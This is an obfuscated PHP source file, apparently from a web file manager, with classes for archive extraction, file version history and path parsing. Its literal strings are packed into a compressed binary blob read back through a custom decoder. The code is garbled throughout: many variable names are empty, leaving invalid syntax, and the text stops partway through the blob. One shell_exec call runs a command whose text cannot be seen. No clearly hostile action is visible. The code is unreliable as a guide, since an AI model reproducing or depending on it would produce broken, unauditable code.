$Δ[1198], $Δ[1199], $Δ[1200], $Δ[1201])); if (!$ && ($ɻ݄[$Δ[1192]] == -1 || $ȢΊ)) { $ͻ = $ɪ[$Δ[1193]] . get_path_this($ɪ[$Δ[200]]) . $Δ[1202]; if (!IO::exist($ͻ)) { $ٱՔ = $ɻ݄[$Δ[1192]] == -1 ? get_path_ext(IO::pathThis($[$Δ[84]])) : get_path_ext($ɪ[$Δ[200]]); $ŭߧ = KodArchive::listContent(self::iconvSystem($ɪ[$Δ[200]]), !0, $ٱՔ); self::unzipErrorCheck($ŭߧ, array($Δ[1203], $, $ɪ)); @file_put_contents($ͻ, json_encode($ŭߧ[$Δ[1204]])); } return @json_decode(IO::getContent($ͻ), !0); } IO::fileOut($ɪ[$Δ[200]], $, get_path_this($ɻ݄[$Δ[32]])); die; } private static function zipFileList($, $ = false) { $ߋ =& $_SERVER[]; $ = array(); foreach ($ as $ɾ) { $ = $ɾ[$ߋ[84]]; if ($) { $ = self::copy($ɾ[$ߋ[84]], $, $ߋ[817]); } else { $ = self::init($ɾ[$ߋ[84]]); if ($->getType() == $ߋ[106]) { $ = $->path; } } if ($ && self::local()->exist($)) { $[$ɾ[$ߋ[84]]] = $; } } if (!empty($)) { return array_values($); } show_json(LNG($ߋ[1167]), !1); } private static function localFilePath($) { $ښʬ =& $_SERVER[]; $ = KodIO::parse($); if ($[$ښʬ[33]] == KodIO::KOD_SOURCE) { $΄ = Model($ښʬ[824])->fileInfoGet(KodIO::sourceID($)); if (!$΄[$ښʬ[84]]) { show_json($ښʬ[1205], !1); } $ = $΄[$ښʬ[84]]; } $ = self::init($); if ($->pathParse[$ښʬ[1153]]) { $ = $->pathParse[$ښʬ[1153]]; $ = self::init($); } $ = $->getType(); if ($ == $ښʬ[106] || $ == $ښʬ[1206]) { if (!$->exist($->path)) { show_json(LNG($ښʬ[105]), !1); } return $->path; } return !1; } public static function unzipPart($ۭ, $ = -1) { $ =& $_SERVER[]; $ = IO::pathThis($ۭ); if (!$ || $ == -1) { $ = array(array($[32] => $, $[1192] => -1)); $[0][$[1207]] = $[0][$[32]]; } else { if (is_array($)) { $ = $; $ = count($) - 1; for ($Ԫ = 0; $Ԫ <= $; $Ԫ++) { $ = $[$Ԫ]; $ܔ = get_path_this($[$[32]]) . (checkExtSafe($[$[32]]) ? $[12] : $[1208]); $[$Ԫ][$[1207]] = $[1209] . intval($[$[1192]]) . $[386] . $ܔ; if ($Ԫ == 0) { continue; } $[$Ԫ][$[1207]] = $[$Ԫ - 1][$[1207]] . $[1210] . $[$Ԫ][$[1207]]; } } } if (!is_array($) || count($) == 0) { return !1; } $֩۬ = $[count($) - 1]; if (!IO::exist($ۭ)) { return !1; } $ = TEMP_FILES . $[1211] . kodIO::hashPathSafe($ۭ) . $[8]; $ = $ . $֩۬[$[1207]]; mk_dir($); file_put_contents(TEMP_FILES . $[1186], $[12]); if (IO::exist($)) { return array($[200] => $, $[1191] => $, $[1193] => $); } $ҧ = self::localFilePath($ۭ); if (!$ҧ) { $ҧ = $ . $[1212]; if (!IO::exist($ҧ)) { self::copy($ۭ, $, !1, get_path_this($ҧ)); } } if (!$ҧ || !IO::exist($ҧ)) { return !1; } if ($֩۬[$[1192]] == -1) { return array($[200] => $ҧ, $[1191] => $, $[1193] => $); } $ćڭ = $ҧ; foreach ($ as $Ԫ => $) { if (!$ || $[$[1192]] == $[1190]) { break; } if (substr($[$[32]], -1, 1) == $[8]) { break; } $՛ = in_array(get_path_ext($[$[1207]]), array($[313], $[1197], $[1198], $[1199], $[1200], $[1201])); $ = $Ԫ == count($) - 1 && $՛; $ʹ = $ . $[$[1207]]; $ϑ = $ . get_path_this($[$[32]]); if (IO::exist($ʹ)) { $ćڭ = $ʹ; continue; } $ֽ = $Ԫ == 0 ? get_path_ext($) : get_path_ext($ćڭ); $ƊЛ = KodArchive::extract(self::iconvSystem($ćڭ), $, $[$[1192]], $˱, $ֽ); self::unzipErrorCheck($ƊЛ, array($[1213], $ۭ, $, $, $ʹ)); if (IO::exist($ϑ)) { IO::rename($ϑ, get_path_this($ʹ)); } $ćڭ = $ʹ; } $ = $ćڭ; return array($[200] => $ćڭ, $[1191] => $, $[1193] => $); } private static function unzipErrorCheck($̹, $ = false) { $ۏ =& $_SERVER[]; if ($̹[$ۏ[1214]]) { return !0; } write_log(array($ۏ[1215], $̹, $), $ۏ[1216]); show_json($ۏ[1217] . json_encode($̹[$ۏ[1204]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[]; $ś = $GLOBALS[$[6]][$[89]]; if ($ś[$[1218]] != 1) { return; } if ($ś[$[1219]] <= 0) { return; } if (isset($_REQUEST[$[1220]]) && $_REQUEST[$[1220]] == $[88]) { return; } Hook::bind($[1221], $[1222]); Hook::bind($[1223], $[1224]); Hook::bind($[1225], $[1226]); Hook::bind($[1227], $[1228]); Hook::bind($[1229], $[1230]); Hook::bind($[1231], $[1232]); } public static function eventBeforeUpload($חʻ) { if ($חʻ[3] && $חʻ[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($חʻ[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($) { $ = self::parsePath($[0]); if (!$) { return; } self::add($); } public static function eventBeforeCopyFile($ү, $, $ڜ, $Դ, $, $ϊ) { $ =& $_SERVER[]; if (isset($ڜ->_data[$[1157]]) && $ڜ->_data[$[1157]]) { return; } $ֹۦ = $ڜ->getPathOuter($Դ); $ʆɮ = self::parsePath($ֹۦ); if (!$ʆɮ) { return; } self::add($ʆɮ); } public static function eventBeforeRename($) { $ᅢ =& $_SERVER[]; $ = self::parsePath($[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$ᅢ[33]] == $ᅢ[200]) { $ = self::listData($); if ($ && $[$ᅢ[369]]) { self::moveHistory($, $[1]); } } else { IO::rename($[$ᅢ[84]], $[1]); } } public static function eventBeforeMove($) { $ =& $_SERVER[]; $ = self::parsePath($[0]); if (!$) { return; } $ = self::parsePath($[1]); if (!$) { return; } $淴 = $[3]; $̆ = self::checkInHistory($); if (!$̆) { return; } $ɹ = self::pathHistory($); if ($̆[$[33]] == $[200]) { $ɩ = self::listData($); $✥ = rtrim($, $[8]) . $[8] . ($淴 ? $淴 : get_path_this($)); $ړ = self::listData($✥); if ($ɩ && $ɩ[$[369]] && $ړ && $ړ[$[369]]) { return self::clear($); } if ($ɩ && $ɩ[$[369]]) { self::moveHistory($, $淴, $ɹ); } } else { IO::move($̆[$[84]], $ɹ, !1, $淴); self::clearEmptyFolder(IO::pathFather($̆[$[84]])); } } public static function eventAfterRemove($, $ճ) { $Я謨 =& $_SERVER[]; if (!$ճ) { return; } $ɔ = self::parsePath($[0]); if (!$ɔ) { return; } $ = self::checkInHistory($ɔ); if (!$) { return; } if ($[$Я謨[33]] == $Я謨[200]) { $֬ = self::listData($ɔ, !1); if ($֬ && $֬[$Я謨[369]]) { self::clear($ɔ, !1); } } else { IO::remove($[$Я謨[84]]); self::clearEmptyFolder(IO::pathFather($[$Я謨[84]])); } } private static function checkInHistory($ҳޘ) { $ = self::pathHistory($ҳޘ); if (!IO::exist($)) { $ .= $_SERVER[][1233]; } return IO::exist($) ? IO::info($) : !1; } private static function parsePath($Ű) { $ڟ =& $_SERVER[]; if (!$Ű) { return !1; } if ($GLOBALS[$ڟ[1234]]) { return; } $ӏ = KodIO::parse($Ű); $ = $ӏ[$ڟ[33]]; $ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$ || !$ӏ[$ڟ[1235]]) { return !1; } if (substr($Ű, 0, strlen(DATA_PATH . $ڟ[1236])) == DATA_PATH . $ڟ[1236]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $ = IO::init($Ű); if ($->pathParse[$ڟ[1153]]) { return self::parsePath($->pathParse[$ڟ[1153]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $Ջ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $ڟ[1237]); foreach ($Ջ as $) { if (!$ && substr($Ű, 0, strlen($)) == $) { return !1; } } self::log($GLOBALS[$ڟ[1148]] . $ڟ[1238] . $Ű); return $Ű; } private static function pathHistory($؊٢) { $ =& $_SERVER[]; $Ͱ = self::$_historyBase . ltrim(KodIO::clear($؊٢), $[8]); $Ͱ = str_replace(array($[1239]), array($[1240]), $Ͱ); return $Ͱ; } public static function log($) { } public static function historyCount($˨) { $ =& $_SERVER[]; $ = array(); $˺č = array(); foreach ($˨ as $ֱܱס) { $愣 = get_path_father($ֱܱס); if (!$˺č[$愣]) { $˺č[$愣] = array(); } $˺č[$愣][] = get_path_this($ֱܱס); } foreach ($˺č as $愣 => $И) { $ = self::parsePath($愣); if (!$) { continue; } foreach ($И as $) { $ = self::listData(rtrim($, $[8]) . $[8] . $, !1); if ($ && $[$[369]]) { $[rtrim($愣, $[8]) . $[8] . $] = count($[$[369]]); } } } return $; } public static function add($) { $Ńֶǝ =& $_SERVER[]; $Ŵա = self::listData($); if (!$Ŵա) { return; } $ = Model($Ńֶǝ[769])->get($Ńֶǝ[1241]); $嗍 = $GLOBALS[$Ńֶǝ[6]][$Ńֶǝ[89]][$Ńֶǝ[1219]]; $ = $ == $Ńֶǝ[1242] ? min(5, $嗍) : $嗍; if ($嗍 <= 0) { return; } $ֹ = IO::info($); $屔 = $Ŵա[$Ńֶǝ[369]]; if ($ֹ[$Ńֶǝ[76]] == 0) { return; } if ($ֹ[$Ńֶǝ[76]] >= 1024 * 1024 * 500) { return !1; } $靠 = IO::hashSimple($); if ($屔 && $屔[0][$Ńֶǝ[177]] == $靠) { return !0; } if (array_key_exists($Ńֶǝ[203], $ֹ) && !$ֹ[$Ńֶǝ[203]]) { return !1; } $ҡ = short_id(time()); $ = array($Ńֶǝ[399] => $ҡ, $Ńֶǝ[177] => $靠, $Ńֶǝ[32] => $ֹ[$Ńֶǝ[32]] . $Ńֶǝ[10] . date($Ńֶǝ[1243]) . rand_string(1), $Ńֶǝ[76] => $ֹ[$Ńֶǝ[76]], $Ńֶǝ[454] => USER_ID, $Ńֶǝ[201] => time(), $Ńֶǝ[1244] => $Ńֶǝ[12]); IO::mkdir($Ŵա[$Ńֶǝ[1245]]); $ = IO::copy($, $Ŵա[$Ńֶǝ[1245]], !1, $[$Ńֶǝ[32]]); if (!$) { self::clearEmptyFolder($Ŵա[$Ńֶǝ[1245]]); return !1; } array_unshift($屔, $); if (count($屔) > $) { $ = array_slice($屔, $); foreach ($ as $) { IO::remove($Ŵա[$Ńֶǝ[1245]] . $[$Ńֶǝ[32]]); } $屔 = array_slice($屔, 0, $); } return self::saveData($Ŵա[$Ńֶǝ[1246]], $屔); } public static function remove($ۧ, $) { $ =& $_SERVER[]; $ܐ = self::listData($ۧ); $ا = array(); if (!$ܐ) { return !1; } foreach ($ܐ[$[369]] as $) { if ($[$[399]] == $) { IO::remove($ܐ[$[1245]] . $[$[32]]); continue; } $ا[] = $; } return self::saveData($ܐ[$[1246]], $ا); } public static function clear($՜˃, $ = true) { $ =& $_SERVER[]; $ = self::listData($՜˃, $); if (!$) { return !1; } foreach ($[$[369]] as $ͩު) { IO::remove($[$[1245]] . $ͩު[$[32]]); } return self::saveData($[$[1246]], array()); } public static function moveHistory($, $ = '', $ʃ = '') { $ =& $_SERVER[]; $ = self::listData($, !1); if (!$ || !$[$[369]]) { return !1; } $ = $[1233]; $ = $ ? $ : get_path_this($); $ʃ = $ʃ ? $ʃ : $[$[1245]]; $ = substr(get_path_this($[$[1246]]), 0, -strlen($)); foreach ($[$[369]] as $ => $株) { $ = $ . substr($株[$[32]], strlen($)); $ = IO::move($[$[1245]] . $株[$[32]], $ʃ, !1, $); if ($) { $[$[369]][$][$[32]] = $; } } $[$[1246]] = IO::move($[$[1246]], $ʃ, !1, $ . $); self::saveData($[$[1246]], $[$[369]]); self::clearEmptyFolder($[$[1245]]); } public static function rollback($Ѿ, $ӥ) { $҅ =& $_SERVER[]; $Ւ = self::listData($Ѿ); if (!$Ւ) { return; } $כ = IO::info($Ѿ); foreach ($Ւ[$҅[369]] as $ => $҅) { if ($҅[$҅[399]] == $ӥ) { self::add($Ѿ); $ݽ = $Ւ[$҅[1245]] . $҅[$҅[32]]; $ = IO::copy($ݽ, IO::pathFather($Ѿ), REPEAT_REPLACE, $כ[$҅[32]]); if ($) { self::remove($Ѿ, $ӥ); } return $; } } return !1; } public static function setDetail($, $, $ۧ؊) { $ݣ =& $_SERVER[]; $ɮ = self::listData($); if (!$ɮ) { return; } foreach ($ɮ[$ݣ[369]] as $Ɨػ => $) { if ($[$ݣ[399]] == $) { $ɮ[$ݣ[369]][$Ɨػ][$ݣ[1244]] = $ۧ؊; self::saveData($ɮ[$ݣ[1246]], $ɮ[$ݣ[369]]); return !0; } } return !1; } public static function fileInfo($؉ϊ, $) { $ =& $_SERVER[]; $˦ = self::listData($؉ϊ); if (!$˦) { show_json(LNG($[105]), !1); } $ϓĥ = $[12]; foreach ($˦[$[369]] as $Ľ => $) { if ($[$[399]] != $) { continue; } $ϓĥ = $˦[$[1245]] . $[$[32]]; break; } if (!$ϓĥ) { show_json(LNG($[105]), !1); } return IO::info($ϓĥ); } public static function fileOut($、, $, $Ø = false) { $͞ =& $_SERVER[]; $Ƀ = self::fileInfo($、, $); $ݹ =& $GLOBALS[$͞[7]]; $Ø = isset($ݹ[$͞[1196]]) && $ݹ[$͞[1196]] == 1; if (isset($ݹ[$͞[33]]) && $ݹ[$͞[33]] == $͞[1247]) { return IO::fileOutImage($Ƀ[$͞[84]], $ݹ[$͞[1248]]); } IO::fileOut($Ƀ[$͞[84]], $Ø, get_path_this($、)); } public static function listData($ݪ, $ = true) { $膸 =& $_SERVER[]; if ($ && !IO::exist($ݪ)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($ݪ, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($ݪ); $ё = array($膸[1246] => $ . $膸[1233], $膸[1245] => rtrim(get_path_father($), $膸[8]) . $膸[8], $膸[369] => array()); $ = IO::getContent($ё[$膸[1246]]); if ($) { $ = json_decode($, !0); if (is_array($)) { $ё[$膸[369]] = $; } } return $ё; } private static function saveData($ؿ, $ŀ) { $¿ =& $_SERVER[]; self::log($¿[1249] . $ؿ . $¿[71] . count($ŀ), $¿[750]); if ($ŀ) { return IO::setContent($ؿ, json_encode($ŀ)); } $˧Ֆ = IO::pathFather($ؿ); IO::remove($ؿ); self::clearEmptyFolder($˧Ֆ); return !0; } public static function clearEmptyFolder($ˁ) { $ƭآ =& $_SERVER[]; if (trim($ˁ, $ƭآ[8]) == trim(self::$_historyBase, $ƭآ[8])) { return; } $ = IO::pathFather($ˁ); $ᡎ = IO::has($ˁ, !0); if ($ᡎ[$ƭآ[207]] > 0 || $ᡎ[$ƭآ[208]] > 0) { return; } IO::remove($ˁ); self::clearEmptyFolder($); } private static function getBasePath() { $ӑ =& $_SERVER[]; $ = Model($ӑ[1250])->get($ӑ[1251]); if ($) { if (!IO::exist($)) { IO::mkdir($); } if (get_path_this($) == $ӑ[1236]) { $ = $ӑ[1252] . rand_string(8); @rename($, get_path_father($) . $ӑ[8] . $); $ = DATA_PATH . $ . $ӑ[8]; file_put_contents(DATA_PATH . $ӑ[1186], $ӑ[12]); Model($ӑ[1250])->set($ӑ[1251], $); } return $; } $ = DATA_PATH . $ӑ[1252] . rand_string(8) . $ӑ[8]; $ = IO::mkdir($); $ = rtrim($, $ӑ[8]) . $ӑ[8]; file_put_contents($ . $ӑ[1186], $ӑ[12]); file_put_contents(DATA_PATH . $ӑ[1186], $ӑ[12]); Model($ӑ[1250])->set($ӑ[1251], $); return $; } } class KodIO { const KOD_SOURCE = "\x7b\x73\x6f\x75\x72\143\x65\175"; const KOD_USER_RECYCLE = "\173\165\x73\145\x72\x52\145\143\171\143\154\x65\x7d"; const KOD_USER_FAV = "\173\x75\163\145\x72\x46\141\x76\175"; const KOD_USER_FILE_TAG = "\x7b\x75\163\x65\x72\x46\151\154\145\124\141\x67\x7d"; const KOD_USER_FILE_TYPE = "\173\165\x73\x65\162\x46\x69\x6c\x65\124\171\x70\x65\x7d"; const KOD_GROUP_ROOT_SELF = "\x7b\147\162\157\x75\160\x52\x6f\x6f\x74\123\145\x6c\x66\x7d"; const KOD_USER_SHARE = "\173\165\163\145\162\123\x68\141\162\x65\x7d"; const KOD_USER_SHARE_LINK = "\173\165\163\x65\162\123\150\x61\162\145\x4c\x69\x6e\153\175"; const KOD_USER_SHARE_TO_ME = "\x7b\x73\x68\141\x72\x65\124\x6f\x4d\145\x7d"; const KOD_SHARE_ITEM = "\x7b\163\150\x61\162\x65\x49\x74\145\x6d\x7d"; const KOD_SHARE_LINK = "\173\163\150\x61\x72\x65\x49\x74\145\155\x4c\x69\x6e\153\175"; const KOD_SEARCH = "\173\x73\145\141\x72\143\x68\175"; const KOD_BLOCK = "\173\142\154\x6f\143\153\x7d"; const KOD_IO = "\x7b\x69\x6f\175"; const KOD_USER_RECENT = "\x7b\165\163\x65\162\x52\x65\x6e\x63\x65\x6e\x74\x7d"; const KOD_USER_DRIVER = "\x7b\x64\162\x69\x76\145\162\175"; public static function typeList() { $ =& $_SERVER[]; return array($[1253] => self::KOD_SOURCE, $[1254] => self::KOD_USER_RECYCLE, $[1255] => self::KOD_USER_FAV, $[1256] => self::KOD_USER_FILE_TAG, $[1257] => self::KOD_USER_FILE_TYPE, $[1258] => self::KOD_GROUP_ROOT_SELF, $[1259] => self::KOD_USER_SHARE, $[1260] => self::KOD_USER_SHARE_LINK, $[1261] => self::KOD_USER_SHARE_TO_ME, $[1262] => self::KOD_SHARE_ITEM, $[1263] => self::KOD_SHARE_LINK, $[1264] => self::KOD_SEARCH, $[1265] => self::KOD_BLOCK, $[1266] => self::KOD_IO, $[1267] => self::KOD_USER_RECENT, $[1268] => self::KOD_USER_DRIVER); } public static function parse($埭) { $뀼 =& $_SERVER[]; $埭 = self::clear($埭); $ = array_values(self::typeList()); preg_match($뀼[1269], $埭, $տ); $ = array($뀼[422] => !1, $뀼[1270] => !1, $뀼[419] => !1, $뀼[84] => $埭, $뀼[1171] => !1, $뀼[1170] => $뀼[12]); if (is_array($տ) && count($տ) == 5) { $𨛆 = $뀼[1271] . $տ[2] . $뀼[327]; if (in_array($𨛆, $)) { $[$뀼[1171]] = $տ[1]; $[$뀼[33]] = $𨛆; $[$뀼[1272]] = substr($𨛆, 1, -1); $[$뀼[399]] = $տ[3]; } $[$뀼[1170]] = $տ[4]; } $Д = array($뀼[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$뀼[1235]] = in_array($[$뀼[33]], $Д); return $; } public static function isTruePath($) { $ۨ =& $_SERVER[]; if (substr($, 0, 1) != $ۨ[1271]) { return !0; } if (strpos($, $ۨ[408]) === 0) { return !0; } if (strpos($, $ۨ[1239]) === 0) { return !0; } if (strpos($, $ۨ[1273]) === 0) { return !0; } if (strpos($, $ۨ[1274]) === 0) { return !0; } if (strpos($, $ۨ[1275]) === 0) { return !0; } return !1; } public static function clear($Ә) { $칚 =& $_SERVER[]; $Ә = str_replace(array($칚[1080], $칚[231]), $칚[53], $Ә); $Ә = str_replace($칚[97], $칚[8], $Ә); $ = $칚[1276]; if (substr($Ә, 0, 3) == $칚[1277]) { $Ә = substr($Ә, 3); } while (strstr($Ә, $)) { $Ә = str_replace($, $칚[8], $Ә); } $Ә = preg_replace($칚[1278], $칚[8], $Ә); if ($Ә == $칚[8]) { return $칚[8]; } $Ә = rtrim($Ә, $칚[8]); return $Ә; } public static function sourceID($藧) { $愍 =& $_SERVER[]; $݈ = self::parse($藧); if ($݈[$愍[33]] !== self::KOD_SOURCE) { show_json(LNG($愍[1279]), !1); } return $݈[$愍[399]]; } public static function make($) { if (!$) { return !1; } return self::makePath(self::KOD_SOURCE, intval($)); } public static function makeShare($, $) { return self::makePath(self::KOD_SHARE_ITEM, $, $); } public static function makeFileTypePath($褉) { return self::makePath(self::KOD_USER_FILE_TYPE, $褉); } public static function makeFileTagPath($) { return self::makePath(self::KOD_USER_FILE_TAG, $); } public static function makePath($ˮ, $ć = '', $榨 = '') { $ =& $_SERVER[]; $ = substr($ˮ, 1, -1); $뻝 = $[1280] . $ . $[1281] . $ć . $[1282]; $뻝 = $榨 ? $뻝 . $榨 . $[8] : $뻝; return $뻝; } public static function hashPath($ڕ, $ꇞ = true) { $҉ =& $_SERVER[]; $ν = is_array($ڕ) ? $ڕ : IO::info($ڕ); $ = _get($ν, $҉[1283], $҉[12]); if (!$ && isset($ν[$҉[402]])) { $ν = IO::info(KodIO::make($ν[$҉[402]])); $ = _get($ν, $҉[1283], $҉[12]); } if (!$ && $ꇞ) { $ = KodIO::parse($ν[$҉[84]]); if (!$[$҉[33]]) { $ = IO::hashSimple($ν[$҉[84]]); } } if (!$) { $ = md5($ν[$҉[84]] . $ν[$҉[76]] . $ν[$҉[85]]); } return $; } public static function hashPathSafe($, $ = true) { $ɯ =& $_SERVER[]; $ś = self::hashPath($, $); return md5($ś . $ɯ[1284] . Model($ɯ[769])->get($ɯ[770])); } public static function initSystemPath() { $ʽ =& $_SERVER[]; if (defined($ʽ[1285])) { return; } define($ʽ[1285], self::systemPath($ʽ[1286])); define($ʽ[1287], self::systemPath($ʽ[1288])); define($ʽ[1289], self::systemPath($ʽ[1290])); define($ʽ[1291], self::systemPath($ʽ[1292])); IOHistory::bindEvent(); } public static function systemPath($) { $ =& $_SERVER[]; $ڿ = $[1293] . ucfirst($); $ްآ = Model($[769])->get($ڿ); if ($ްآ) { return $ްآ; } if ($ == $[1286]) { $ްآ = self::make(Model($[824])->systemRootPathAdd($[534])); } else { $ްآ = self::systemPath($[1286]); $ž = self::sourceID($ްآ); $ްآ = self::make(Model($[824])->mkdir($ž, $)); } Model($[769])->set($ڿ, $ްآ); return $ްآ; } public static function systemFolder($샰) { $ = IO_PATH_SYSTEM_SOURCE . $샰; $佧 = Cache::get($); if (!$佧) { $쬟 = IO::infoFull($); if (!$쬟) { $佧 = IO::mkdir($, REPEAT_SKIP); } else { $佧 = $쬟[$_SERVER[][84]]; } Cache::set($, $佧, 3600 * 10); } return $佧; } public static function defaultDriver() { return Model($_SERVER[][766])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[]; $ = self::defaultDriver(); return $[1294] . $[$[399]] . $[1282]; } public static function defaultDriverInit() { static $ٿ = false; if ($ٿ) { return $ٿ; } $ٿ = IO::init(self::defaultIO()); return $ٿ; } public static function fileTypeList() { $δ =& $_SERVER[]; $ = $GLOBALS[$δ[6]][$δ[1295]]; foreach ($ as $ => $иߺ) { $ڡ = $δ[1296] . $; $ = LNG($ڡ); if ($ڡ != $) { $[$][$δ[32]] = $; } } return $; } public static function diskList($ʮ = true) { $Ĕ = $_SERVER[][1297]; if ($ʮ) { $ᓝ = Cache::get($Ĕ); if (is_array($ᓝ)) { return $ᓝ; } } $ᓝ = self::diskListGet(); Cache::set($Ĕ, $ᓝ, 60); return $ᓝ; } public static function diskListGet() { $ =& $_SERVER[]; $愥 = array(); if ($GLOBALS[$[6]][$[1298]] == $[1299]) { $ = $[1300]; for ($䧢 = 0; $䧢 < strlen($); $䧢++) { $ = $[$䧢] . $[1301]; if (file_exists($)) { $愥[] = $; } } return $愥; } if (!function_exists($[98])) { $愥[] = $[834]; return $愥; } $ = explode($[231], shell_exec($[1302])); array_shift($); array_pop($); $܆ = array($[1303], $[1304], $[1305], $[1306], $[1307], $[1308], $[1309], $[1310]); foreach ($ as $) { $ = preg_split($[1311], $); $ = $[count($) - 1]; if (!strstr($[0], $[1312]) || !$) { continue; } $ = rtrim($, $[8]) . $[8]; if (in_array($, $܆)) { continue; } $愥[] = $; } return $愥; } public static function isSameDisk($ԑ, $鵆) { $ٓ =& $_SERVER[]; if ($GLOBALS[$ٓ[6]][$ٓ[1298]] == $ٓ[1299]) { return strtolower(substr($ԑ, 0, 1)) == strtolower(substr($鵆, 0, 1)); } $В = self::diskList(); $ŷ = !1; $ = !1; sort($В); $В = array_reverse($В); $ԑ = rtrim($ԑ, $ٓ[8]) . $ٓ[8]; $鵆 = rtrim($鵆, $ٓ[8]) . $ٓ[8]; foreach ($В as $٣) { $ = strlen($٣); if (!$ŷ && substr($ԑ, 0, $) == $٣) { $ŷ = $٣; } if (!$ && substr($鵆, 0, $) == $٣) { $ = $٣; } if ($ŷ && $) { break; } } return $ŷ === $; } public static function transferType($, $) { $ꇥ =& $_SERVER[]; $ = self::driverType($); $ב = self::driverType($); if ($[$ꇥ[33]] == $ב[$ꇥ[33]] && $[$ꇥ[1313]] == $ב[$ꇥ[1313]]) { return $ꇥ[1314]; } if ($[$ꇥ[33]] == $ꇥ[867] && $ב[$ꇥ[33]] == $ꇥ[106]) { return $ꇥ[1196]; } if ($[$ꇥ[33]] == $ꇥ[106] && $ב[$ꇥ[33]] == $ꇥ[867]) { return $ꇥ[107]; } return $ꇥ[1315]; } public static function driverType($ȟ) { $λ =& $_SERVER[]; $윿Ѳ = str_replace($λ[1316], $λ[12], strtolower($ȟ->getType())); if ($윿Ѳ == $λ[756] || $윿Ѳ == $λ[1317] || $윿Ѳ == $λ[1318]) { $ȟ = self::defaultDriverInit(); } else { if ($윿Ѳ == $λ[1206] || $윿Ѳ == $λ[1319]) { $ȟ = IO::init($ȟ->pathParse[$λ[1153]]); } } $σ = $ȟ->path; $윿Ѳ = str_replace($λ[1316], $λ[12], strtolower($ȟ->getType())); if ($윿Ѳ == $λ[106]) { return array($λ[33] => $λ[106], $λ[1313] => $λ[12], $λ[84] => $σ, $λ[95] => $ȟ); } return array($λ[33] => $λ[867], $λ[1313] => $ȟ->pathDriver, $λ[84] => $σ, $λ[95] => $ȟ); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } public static function pathDriverLocal($) { $Μ =& $_SERVER[]; $ = $ ? self::driverType(IO::init($)) : !1; return $[$Μ[33]] == $Μ[106] ? !0 : !1; } public static function allowCover($Ŵ, $ = true) { $˳ =& $_SERVER[]; if (is_string($Ŵ)) { $Ŵ = IO::info($Ŵ); } if (!$Ŵ || $Ŵ[$˳[33]] == $˳[75] || $Ŵ[$˳[76]] <= 100) { return !1; } if (isset($Ŵ[$˳[1320]]) || !$Ŵ[$˳[84]]) { return !1; } if (isset($Ŵ[$˳[202]]) && !$Ŵ[$˳[202]]) { return $Ŵ; } static $˃չ = false; if (!$˃չ || !$) { $ӿ = self::driverType(IO::init($Ŵ[$˳[84]])); $ = $ӿ[$˳[95]]; $˃չ = $˳[1321]; if ($ӿ[$˳[33]] == $˳[106]) { $˃չ = $˳[1322]; } if ($ӿ[$˳[95]] && is_array($ӿ[$˳[95]]->config)) { $ = $ӿ[$˳[95]]->config; if (isset($[$˳[1323]]) && $[$˳[1323]]) { $˃չ = $˳[1322]; } } } return $˃չ == $˳[1322] ? !0 : !1; } } goto Až; D: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\316\373\341\373\223\376", "\xa6\xa3\xf3\xd6\xd9\xd7"); $_SERVER[] = explode("\x7c\x4\x7c\x1\x7c\x6", gzinflate(substr("\x1f\x8b\x8\x0\x0\x0\x0\x0\x0\x13\xc5\xbd\x7\x78\x1c\xd5\xd5\x30\x1c\x13\x30\x36\x2d\x85\x1a\x48\x60\x10\x18\x49\xf6\x16\x4b\xb6\x65\x5b\xb6\x6c\xaf\xa4\x95\xb5\x78\xa5\x95\x77\x57\x6e"."\x92\x18\x8f\x76\x47\xda\xb1\x76\x77\x56\x33\xb3\x2a\x2e\xc4\x4\x53\x8c\x31\x24\x74\x2\xa1\x27\x40\xc\xa6\x77\xc\x84\x50\xc2\x4b\xb\x24\x10\x12\x2\x4\xe3\x42\x6f\x49\x20\xa1\x7e\xb7\x9c"."\x5b\x66\x76\x5\xef\xff\xfc\xdf\xf3\x7c\x6\x7b\xe7\x9e\xdb\xdb\xb9\xe7\x9c\x7b\xce\xb9\x8f\xdc\xf8\xd1\xcb\x57\x3f\xb2\x76\xcf\xb5\xe3\xd6\x8e\xbf\x79\xe3\x8d\x1f\x3e\xfa\x21\xfd\x46\xff\xee".strrev('G\'>8ngdT>V]߷߾ҙZ3sM6')."\167\215\373\316\54\175\161\252\36\45\246\171\353\351\217\222\67\35\105\37\61\154\307\246\200\224\231\357\63\372\351\267\221\247\277\101\372\323\31\217\132\172\316\164\164\32\14\320".strrev('w#Z/ZYg>9zBO#jǶ'."\r".'fk')."\101\4\40\255\71\132\257\146\103\111\315\215\152\163\270\43\32\133\256\46\227\167\204\41\105\257\72\130\324\255\121\32\42\237\11\107\263\234\244\221\323\171\212\141\213\267\253\61"."\xbc\x30\xd2\xae\x24\xe3\xa1\xf6\x44\xa8\x29\x19\x89\xb5\x53\x70\x53\xac\xad\x2d\x92\x2c\x85\xc7\x63\xd1\x68\x63\xa8\x69\x51\x69\x4c\x47\x3c\xb4\xb0\x2d\xa4\xa0\xf6\x65\x75\xd5\xc8\xf7\x99\x55".strrev('9`rZ0'."\r".',ً4п+ƼM-RJ')."\165\172\221\76\312\241\364\103\53\72\246\221\117\321\100\170\304\261\64\1\107\155\115\241\211\326\363\120\124\42\34\15\67\45\25\334\100\245\45\36\153\123\140\22\162\232\355\350"."\226\262\264\65\34\17\53\270\321\15\